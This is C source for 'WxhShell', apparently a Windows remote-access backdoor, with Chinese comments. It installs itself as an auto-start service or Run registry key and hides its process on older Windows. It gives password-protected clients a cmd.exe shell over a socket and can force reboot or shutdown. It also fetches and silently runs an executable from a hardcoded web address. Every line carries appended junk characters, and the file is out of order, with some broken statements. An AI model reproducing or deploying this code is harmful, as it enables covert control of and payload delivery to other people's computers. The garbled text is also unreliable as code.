    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %)8}X>xq  
    if(Boot(SHUTDOWN)) ?#G$=4;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uk:(pZ-uJ  
    else { 2DDtu[}  
    closesocket(wsh); nsC3  
    ExitThread(0); cxC6n%!;y  
    }  @tnz]^V  
    break; K:[F%e  
    } epe)a  
  // 获取shell ;%9|k U  
  case 's': { |kg7LP3(8,  
    CmdShell(wsh); |$Sedzj'  
    closesocket(wsh); N7zft  
    ExitThread(0); ?pmHFlx  
    break; a$OE0zn`  
  } R$<&ie6UQ  
  // 退出 .o^l z 9:  
  case 'x': { e\l7Iu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M#6W(|V/  
    CloseIt(wsh); 7hcYD!DS  
    break; kd(8I_i@  
    } O"9\5(w  
  // 离开 oxA<VWUNT  
  case 'q': { ,AFu C <  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lIS-4QX1  
    closesocket(wsh); e{K 215  
    WSACleanup(); -zgI_u9=EB  
    exit(1); 7t0=[i  
    break; bl;1i@Z*M  
        } 8C:z"@o  
  } I-*S&SiXjI  
  } $szqy?i 0?  
5r|,CQ7o  
  // 提示信息 OX!tsARC@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 19)i*\+  
} ES7>H  
  } -<!NXm|kvz  
}B+C~@j  
  return; j{A y\n(  
} "Ac-tzhE  
DV-d(@`K  
// shell模块句柄 %s|Ely)  
int CmdShell(SOCKET sock) }<SQ  
{ E6ElNgL  
STARTUPINFO si; cp7=epho  
ZeroMemory(&si,sizeof(si)); t\,PB{P:J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }2.`N%[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WX?IYQ+  
PROCESS_INFORMATION ProcessInfo; k$R-#f;  
char cmdline[]="cmd"; KwSqKI7]0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HCs?iJ  
  return 0; ?P`K7  
} a~}OZ&PG  
1};Stai'  
// 自身启动模式 \&3+D8H>n  
int StartFromService(void) !)0;&e5  
{ d.d/<  
typedef struct Id .nu/  
{ pJ"qu,w  
  DWORD ExitStatus; ?M9=yA  
  DWORD PebBaseAddress; ChPmX+.i_  
  DWORD AffinityMask; vMH  
  DWORD BasePriority; :q% M_  
  ULONG UniqueProcessId; #rfiD%c  
  ULONG InheritedFromUniqueProcessId; UECK:61Me  
}   PROCESS_BASIC_INFORMATION; f+,qNvBY/  
[!#L6&:a8  
PROCNTQSIP NtQueryInformationProcess; w-MCZwCr)  
X51:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fj3a.'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /]Md~=yNp  
7*A],:-q  
  HANDLE             hProcess; >W+%8e  
  PROCESS_BASIC_INFORMATION pbi; !ons]^km  
MaQqs=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9vc2VB$  
  if(NULL == hInst ) return 0; }@q`%uzi  
6}Ci>_i4#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 37.S\ gO]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K;H&n1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YfKdR"i+.  
8^+%I/S$  
  if (!NtQueryInformationProcess) return 0; WO>nIo5Y  
rcG"o\g@+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,m|h<faZL  
  if(!hProcess) return 0; D'PI1 0t  
c]o'xd,T8\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {]@= ijjf  
YZ8>OwQz2  
  CloseHandle(hProcess); 0-Ku7<a  
>jLY"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O-hAFKx  
if(hProcess==NULL) return 0; @:vwb\azVD  
sBg.u  
HMODULE hMod; %pL''R9VF  
char procName[255]; S g![Lsj  
unsigned long cbNeeded; .g<DD)`  
z,p~z*4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G<J?"oQbRT  
=>v#4zFd  
  CloseHandle(hProcess); !F'YDjTot  
wc4{)qDE  
if(strstr(procName,"services")) return 1; // 以服务启动 By4<2u38u  
'-XXo=>0MV  
  return 0; // 注册表启动 s*]}QmRpr  
} KRRdXx\~  
0=1T.4+=  
// 主模块 m&,(Jla  
int StartWxhshell(LPSTR lpCmdLine) `d`T*_  
{ ^Y \"}D  
  SOCKET wsl; qfm|@v|De5  
BOOL val=TRUE; K?1W!fY  
  int port=0; /7F:T[  
  struct sockaddr_in door; X5$Iyis  
%l[( Iw  
  if(wscfg.ws_autoins) Install(); E]-/Zbvdv  
>} i  E(  
port=atoi(lpCmdLine); &B1WtW  
bK&+5t&  
if(port<=0) port=wscfg.ws_port; g:8h|w)  
"]Xc`3SM  
  WSADATA data; \Uq(Zga4)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ai3*QX  
I,vJbvvl!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]GkfEh7/J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4vB<fPN  
  door.sin_family = AF_INET; $uVHSH5l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ENs&RZ;  
  door.sin_port = htons(port); t-bB>q#3>  
UySZbmP48  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VuZuS6~#J  
closesocket(wsl); g1"kTh  
return 1; Dp-z[]})1  
} ]Q)OL  
DsCcK3 k  
  if(listen(wsl,2) == INVALID_SOCKET) { +VOK%8,p  
closesocket(wsl); BUXpC xQ  
return 1; JP [K;/  
} y}ev ,j  
  Wxhshell(wsl); LFRlzz;  
  WSACleanup(); )zdQ1&@  
A#iV=76_  
return 0; ]jp6k<KF  
j{+.tIzpq[  
} [/41% B2  
/"Uqa,{  
// 以NT服务方式启动 R8Fv{7]c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =MDys b&:  
{ ],Do6 @M-  
DWORD   status = 0; ope^~+c~\  
  DWORD   specificError = 0xfffffff; ~dTrf>R8M  
z_4J)?3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k=T\\]KxC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =$JET<(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s R/F"  
  serviceStatus.dwWin32ExitCode     = 0; ')<hON44EX  
  serviceStatus.dwServiceSpecificExitCode = 0; _ *Pf  
  serviceStatus.dwCheckPoint       = 0; +Q"4Migbe@  
  serviceStatus.dwWaitHint       = 0; VQOezQs\  
>@ .  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &Hs!:43E-<  
  if (hServiceStatusHandle==0) return; lZKi'vg7  
Q K<"2p?  
status = GetLastError(); a~y'RyA  
  if (status!=NO_ERROR) "b3"TPfK  
{ ":QZy8f9%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aHK}sr,U  
    serviceStatus.dwCheckPoint       = 0; &E5g3lf  
    serviceStatus.dwWaitHint       = 0; t&e{_|i#+  
    serviceStatus.dwWin32ExitCode     = status; }a(dyr`S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0*{%=M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )|# sfHv7  
    return; gT6jYQ  
  } O k=hT|}Y  
5M*:}*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wt~BU.  
  serviceStatus.dwCheckPoint       = 0; \ta?b!Y),?  
  serviceStatus.dwWaitHint       = 0; JYHl,HH#z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SSMHoJGm  
} J)p l|I  
@_}P-h  
// 处理NT服务事件,比如:启动、停止 r$s Qf&=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;vjOUn[E  
{ V1B5w_^>h'  
switch(fdwControl) p9{mS7R9T  
{ )MTOU47U  
case SERVICE_CONTROL_STOP: #Ki[$bS~6  
  serviceStatus.dwWin32ExitCode = 0; Z=vU}S>r|v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aWF655Fs*  
  serviceStatus.dwCheckPoint   = 0; Se =`N  
  serviceStatus.dwWaitHint     = 0; c(s.5p ^  
  { xMG~N`r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{[=oH+  
  } WCixKYq  
  return; g{&ui.ml&  
case SERVICE_CONTROL_PAUSE: ^.QzQ1=D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k~1?VQ+?M  
  break; #!+:!_45  
case SERVICE_CONTROL_CONTINUE: 3L}A3de'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; St*h>V6  
  break; PB\x3pV!}  
case SERVICE_CONTROL_INTERROGATE: u.xnOcOH!  
  break; \(2sW^fY  
}; sD#.Oq4&]y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .U]-j\  
} 49HZ2`Y  
pIqeXY  
// 标准应用程序主函数 c'yxWZEv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C1 *v,i  
{ r3UUlR/Do  
ln dx"prW  
// 获取操作系统版本 9~[Y-cpoi  
OsIsNt=GetOsVer(); kMN~Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); < h *4Q  
ER.}CM6{[  
  // 从命令行安装 k@W1-D?  
  if(strpbrk(lpCmdLine,"iI")) Install(); U&p${IcEm  
YT(AUS5n  
  // 下载执行文件 BLD gt~h#  
if(wscfg.ws_downexe) { V1M.JU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +@wD qc  
  WinExec(wscfg.ws_filenam,SW_HIDE); *(DV\.l`  
} vUM4S26"NT  
P+/e2Y  
if(!OsIsNt) { tK\~A,=  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ta\tYZj$  
HideProc(); '/s)%bc  
StartWxhshell(lpCmdLine); s!$7(Q86R  
} XZd,&YiaG  
else f._ua>v,f  
  if(StartFromService()) ^k9I(f^c-_  
  // 以服务方式启动 {3aua:q  
  StartServiceCtrlDispatcher(DispatchTable); -ZLJeY L  
else #KZBsa@p  
  // 普通方式启动 {R6ZKB  
  StartWxhshell(lpCmdLine); $6SW;d+>n  
R8'RA%O9J  
return 0; Ds:'Lb  
} _I5Y"o  
P/_['7  
j&qub_j"xX  
}*]-jWt1J\  
=========================================== gRcQt:  
g`QEu 5v  
[d ]9Oa4  
3h`f  6  
]~siaiN[  
9XB8VKu8  
" [/8%3  
nAdf=D'P  
#include <stdio.h> $f7l34Sf3  
#include <string.h> u]UOSfn  
#include <windows.h> 'TB2:W3  
#include <winsock2.h> _X x/(.O  
#include <winsvc.h> kE1TP]|  
#include <urlmon.h> wk_@R=*(\  
--BW9]FW  
#pragma comment (lib, "Ws2_32.lib") b4N[)%@  
#pragma comment (lib, "urlmon.lib") 7B66]3v  
#o#H?Vo9b  
#define MAX_USER   100 // 最大客户端连接数 a9V,es"BWQ  
#define BUF_SOCK   200 // sock buffer R0*|Lo$6  
#define KEY_BUFF   255 // 输入 buffer X#^[<5  
Slc\&Eb  
#define REBOOT     0   // 重启 om:VFs\U  
#define SHUTDOWN   1   // 关机 }Jj}%XxKs  
nAlQ7 '  
#define DEF_PORT   5000 // 监听端口 KVa  
|+D!= :x  
#define REG_LEN     16   // 注册表键长度 KoT%Mfu  
#define SVC_LEN     80   // NT服务名长度 FfT`;j  
Wmv#:U  
// 从dll定义API 88$8d>-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f]sr RYSR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c@L< Z`u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U|R_OLWAg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H0vfUF53l  
8Z=R)asGS  
// wxhshell配置信息 KHvYUTY  
struct WSCFG { /od@!/  
  int ws_port;         // 监听端口 dioGAai'  
  char ws_passstr[REG_LEN]; // 口令 (KZ{^X?a  
  int ws_autoins;       // 安装标记, 1=yes 0=no a/xn'"eli  
  char ws_regname[REG_LEN]; // 注册表键名 $VOF Oc  
  char ws_svcname[REG_LEN]; // 服务名 kb!%-k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5wU]!bxr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SNk=b6`9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ysnx3(+|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U- k`s[dv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vKAN@HSYr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  K_}K@'  
>Y@H4LF;1x  
}; M x" \5i  
z},# ~L6$q  
// default Wxhshell configuration jq0O22 -R  
struct WSCFG wscfg={DEF_PORT, ^E>3|du]O  
    "xuhuanlingzhe", Q\sK"~@3  
    1, ]JQULE)  
    "Wxhshell", $U-0)4yf  
    "Wxhshell",  uHRsFlw  
            "WxhShell Service", !&@615Vtw  
    "Wrsky Windows CmdShell Service", 4 s9LB  
    "Please Input Your Password: ", -"9  
  1, ;*2Cm'8E  
  "http://www.wrsky.com/wxhshell.exe", }4X0epPp;:  
  "Wxhshell.exe" ]7c=PC  
    }; R`-S/C  
MVUJD{X#  
// 消息定义模块 <b*DQ:N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A?OQE9'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &_8 947  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T6$+hUM$1  
char *msg_ws_ext="\n\rExit."; <(#ej4ar,  
char *msg_ws_end="\n\rQuit."; ~v6D#@%A  
char *msg_ws_boot="\n\rReboot..."; |CbikE}kL  
char *msg_ws_poff="\n\rShutdown..."; @BMx!r5kn  
char *msg_ws_down="\n\rSave to "; lq7E 4r  
:7;@ZEe  
char *msg_ws_err="\n\rErr!"; H3oFORh  
char *msg_ws_ok="\n\rOK!"; P16~Qj  
VuZr:-K/  
char ExeFile[MAX_PATH]; _+3::j~;m  
int nUser = 0; 0JujesUw(  
HANDLE handles[MAX_USER]; Zx>=tx}  
int OsIsNt; \o3gKoL%  
M X]n&  
SERVICE_STATUS       serviceStatus; ba9?(+i$h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?:9"X$XR  
8zq=N#x  
// 函数声明 [{/jI\?v  
int Install(void); #,'kXj  
int Uninstall(void); lH~[f  
int DownloadFile(char *sURL, SOCKET wsh); *lJxH8\  
int Boot(int flag); J] r^W)O  
void HideProc(void); bpa?C  
int GetOsVer(void); 3=V &K-  
int Wxhshell(SOCKET wsl); 'dc#F3  
void TalkWithClient(void *cs); 1Ai^cf:S  
int CmdShell(SOCKET sock); b%c9oR's^  
int StartFromService(void); cso8xq|b7  
int StartWxhshell(LPSTR lpCmdLine); tfWS)y7  
%\:Wi#w>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .x&%HA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ML p9y#  
8H`[*|{'  
// 数据结构和表定义 ]hV*r@d  
SERVICE_TABLE_ENTRY DispatchTable[] = &BSn?  
{ :b!s2n!u  
{wscfg.ws_svcname, NTServiceMain}, X"*5+* z]  
{NULL, NULL} ,<X9Y2B  
}; RPbZ(.  
+aAc9'k   
// 自我安装 I5W~g.<6  
int Install(void) ;5AcFB  
{ Vi|#@tC'  
  char svExeFile[MAX_PATH]; ?Z}&EH  
  HKEY key; &#i"=\d  
  strcpy(svExeFile,ExeFile); uHNCSz H(  
#[[ en  
// 如果是win9x系统,修改注册表设为自启动 tO&^>&;5  
if(!OsIsNt) { N6TH}~62}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /g.U&oI]D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .fs3>@T"#  
  RegCloseKey(key); 7uk[Oy<_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I( Mm?9F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K@%].:  
  RegCloseKey(key); z{r}~{{E  
  return 0; HK% 7g  
    } Pc]HP  
  } !d T4  
} 5~S5F3  
else { -tU'yKhn  
?&uu[y  
// 如果是NT以上系统,安装为系统服务 /zox$p$?h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ` G kX  
if (schSCManager!=0) NCD04U5y  
{ dgP3@`YS  
  SC_HANDLE schService = CreateService #p{4^  
  ( c[s4EUG  
  schSCManager, (w zQ2Dk  
  wscfg.ws_svcname, ?r!o~|9|  
  wscfg.ws_svcdisp, *OQ2ucC8j  
  SERVICE_ALL_ACCESS, - ! S_ryL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  f)<6  
  SERVICE_AUTO_START, x|29L7i  
  SERVICE_ERROR_NORMAL, CU~PT.  
  svExeFile, Kf-JcBsrT  
  NULL, 7x8  yxE  
  NULL, |&4/n6;P$0  
  NULL, MfkN]\Jyw  
  NULL, DIUjn;>k8  
  NULL o,wUc"CE  
  ); HOJV,9v N  
  if (schService!=0) :MDKC /mC  
  { @KUWxFak  
  CloseServiceHandle(schService); /<BI46B\  
  CloseServiceHandle(schSCManager); *n"{J(Jt`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;GD]dW#  
  strcat(svExeFile,wscfg.ws_svcname); 8JUwf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4`=m u}Y2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |+"(L#wk  
  RegCloseKey(key); +W+|%qM,\  
  return 0; {Hk}Kow  
    } <\S:'g"(  
  } W!(LF7_!  
  CloseServiceHandle(schSCManager); "^iYLQOC  
} %N_%JK\{@  
} {fp[BF  
uvS)8-o&F  
return 1; Wn}'bqp  
} wUM0M?_p[  
,"0 :3+(8;  
// 自我卸载 Q=dy<kg']  
int Uninstall(void) >`D:-huNeE  
{ 7IM@i>p%  
  HKEY key; yaV|AB$v  
{(?4!rh  
if(!OsIsNt) { pmYHUj #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Xw5<J3L-  
  RegDeleteValue(key,wscfg.ws_regname); (C)p9-,  
  RegCloseKey(key); |sZHUf_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|oh.z_R  
  RegDeleteValue(key,wscfg.ws_regname); f`66h M[  
  RegCloseKey(key); )BfAw  
  return 0; z([</D?  
  } p{dj~ &v  
} M rb)  
} W=4FFl[  
else { XRQ4\bMA8  
1yY0dOoLG)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S`Rs82>  
if (schSCManager!=0) , 9 a  
{ hK|Ul]qI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Xs8A.  
  if (schService!=0) I1&aM}y{G  
  { MnW+25=N  
  if(DeleteService(schService)!=0) { k$}fWR  
  CloseServiceHandle(schService); #A8sLkY  
  CloseServiceHandle(schSCManager); *}W_+qo"  
  return 0; 8*a&Jl  
  } `~q<N  
  CloseServiceHandle(schService); ^T-V ^^#(  
  } '@P^0+B!(.  
  CloseServiceHandle(schSCManager); KJZ4AWH`  
} +m,yA mEEd  
} 2^yU ~`#  
iO; 7t@]-  
return 1; ,~W|]/b<q  
} FJ?IUy 6  
Q#zmf24W  
// 从指定url下载文件 Dv`c<+q(#  
int DownloadFile(char *sURL, SOCKET wsh) e\75:oQ  
{ E8&TO~"a]e  
  HRESULT hr; 0_t!T'jr7  
char seps[]= "/"; uY'HT|@:{  
char *token; 7. ;3e@s  
char *file; y"wShAR  
char myURL[MAX_PATH]; -z(+//K:#  
char myFILE[MAX_PATH]; )w%!{hn  
;sFF+^~L  
strcpy(myURL,sURL); S|+o-[e8O  
  token=strtok(myURL,seps); 4H]L~^CD  
  while(token!=NULL) |P}y,pNQ  
  { .#pU=v#/[  
    file=token; UW EV^ &"x  
  token=strtok(NULL,seps); t\ewHZG"  
  } Owk|@6!  
=odFmF  
GetCurrentDirectory(MAX_PATH,myFILE); )53y AyP  
strcat(myFILE, "\\"); du^J2m{f  
strcat(myFILE, file); *CHX  
  send(wsh,myFILE,strlen(myFILE),0); *4Y V v  
send(wsh,"...",3,0); x-3\Ls[I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !%0 * z  
  if(hr==S_OK) o{[YA} xc  
return 0; P7~>mm+  
else :9 ^* ^T  
return 1; kMd.h[X~  
Q]>.b%s[  
} `PH{syz  
VW4r{&rS  
// 系统电源模块 B^9j@3Ux  
int Boot(int flag) czd~8WgOa  
{ Th%Sjgsn  
  HANDLE hToken; y'*K|a TG  
  TOKEN_PRIVILEGES tkp; | Xy6PN8  
4{`{WI{  
  if(OsIsNt) { U/NoP4~{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~qOa\#x_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V "h +L7T  
    tkp.PrivilegeCount = 1; @;RXLq/8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V~5jfcd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OI*Xt`  
if(flag==REBOOT) { ~/P[J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wAW5 Z0D  
  return 0; @<&m|qtMsz  
} d/DB nZN  
else { o`*,|Nsq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N ?"]  
  return 0; @sC`!Rmy'-  
}  kPLxEwl  
  } W6/yn  
  else { :6\qpex  
if(flag==REBOOT) { ^DwYOo2B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p.?rey<%  
  return 0; LSr]S79N1  
} ~R92cH>L  
else { 0:Ol7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )I.$=s  
  return 0; B0]~el  
} 6,{$J  
} 0KOgw*>_  
/s}} &u/  
return 1; G<v&4/\p`M  
} N//K Ph  
,nDaqQ-C!!  
// win9x进程隐藏模块 yO~Ig `w  
void HideProc(void) r<^HmpUJ  
{ B_m8{44zM  
>I&5j/&}+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 81Z) eO#  
  if ( hKernel != NULL ) ^$hH1H+V  
  { pcWPH.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v^ V itLC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :G%61x&=Zc  
    FreeLibrary(hKernel); $ gS>FJ  
  } }Kbb4]t|"  
B ,epzI  
return; | h#u^v3  
} W|63Ir67  
7E~;xn;  
// 获取操作系统版本 fS78>*K  
int GetOsVer(void) uk<9&{  
{ )|=j`jCC  
  OSVERSIONINFO winfo; ]-/VHh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?2Py_gkf  
  GetVersionEx(&winfo); :!!at:>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b!5~7Ub.No  
  return 1; y/ ef>ZZ  
  else 9m~p0ILh  
  return 0; *wB1,U{  
} 4u})+2W  
n8ZZ#}Nhg  
// 客户端句柄模块 q'Tf,a  
int Wxhshell(SOCKET wsl) ExL0?FemWV  
{ L>4"(  
  SOCKET wsh; +OWX'~fd<  
  struct sockaddr_in client; 'kO!^6=4M  
  DWORD myID; lp%pbx43s  
.jjG(L  
  while(nUser<MAX_USER) ~%kkeh\j  
{ ={@6{-tl  
  int nSize=sizeof(client); D7Q$R:6|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [j/9neaye  
  if(wsh==INVALID_SOCKET) return 1; N~zdWnSZ@G  
0{}8(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6fEqqUeV  
if(handles[nUser]==0) pYmk1!]/  
  closesocket(wsh); R|87%&6']  
else u^ 8{Z;mm  
  nUser++; &powy7rR  
  } |[ai JR[Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :emiQ  
Iom'Y@x  
  return 0; 30T)!y  
} O.M>+~Nw  
Gm^U;u}=f  
// 关闭 socket EaY?aAuS:  
void CloseIt(SOCKET wsh) kzUIZ/+ZL,  
{ U$D65B4=  
closesocket(wsh); N]=q|D  
nUser--; 8\A#CQ5b  
ExitThread(0); eF-."1  
} scz&h#0V  
[MM~H0=s  
// 客户端请求句柄 !Pfr,a  
void TalkWithClient(void *cs) 7CURhDdk  
{ C{xaENp  
^ EQ<SCh  
  SOCKET wsh=(SOCKET)cs; F8,RXlGfA[  
  char pwd[SVC_LEN]; ,G?WAOy,  
  char cmd[KEY_BUFF]; #r~# I}U  
char chr[1]; YWO)HsjP  
int i,j; bI9~jWgGp  
TpwkD_fg  
  while (nUser < MAX_USER) { Zaf:fsj>  
jZkcBIK2  
if(wscfg.ws_passstr) { a P@N)"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [uN? ~lp\%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Toy Zm\  
  //ZeroMemory(pwd,KEY_BUFF); :vQrOn18p  
      i=0; U}rU~3N  
  while(i<SVC_LEN) { \aUC(K~o\;  
,~@X{7U  
  // 设置超时 RmeD$>7  
  fd_set FdRead; SBk4_J/_  
  struct timeval TimeOut; u$Jz~:=,  
  FD_ZERO(&FdRead); .|>3k'<l  
  FD_SET(wsh,&FdRead); ep)n_!$OH"  
  TimeOut.tv_sec=8; `V)8 QRN(  
  TimeOut.tv_usec=0; +`3)oPV)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' ;FnIZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ma']?Rb`  
S3*`jF>q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pG^  
  pwd=chr[0]; m6\E$;`  
  if(chr[0]==0xd || chr[0]==0xa) { ~#[yJNYQ  
  pwd=0; .K2qXw"S#  
  break; n&qg;TT  
  } ;LPfXpR  
  i++; ^Hnb }L  
    } CMG&7(MR  
#3@rS  
  // 如果是非法用户,关闭 socket g-</ua(j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DIfaVo/"  
} ^]0Pfna+N  
:tB1D@Cb6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c&?m>2^6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /}fHt^2H  
8hz^%vm  
while(1) { G kl71VX  
Y^;ovH~ ve  
  ZeroMemory(cmd,KEY_BUFF); m_?~OL S  
D4lG[qb  
      // 自动支持客户端 telnet标准   #64-~NVL_  
  j=0; (pCrmyB  
  while(j<KEY_BUFF) { FQ7T'G![  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < #}5IQ5`Z  
  cmd[j]=chr[0]; ~IfJwBn-i  
  if(chr[0]==0xa || chr[0]==0xd) { tGh~!|P  
  cmd[j]=0; Ms5ap<q#  
  break; HI R~"It$  
  } bz2ztH9 n  
  j++; i$:*Pb3mV  
    } ;!mzyb*  
L:pYn_  
  // 下载文件 qYjce]c  
  if(strstr(cmd,"http://")) { 2W96Zju\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HV!m8k=6  
  if(DownloadFile(cmd,wsh)) JPc+rfF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%CF8\0  
  else +\c5]`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k}kQI~S9  
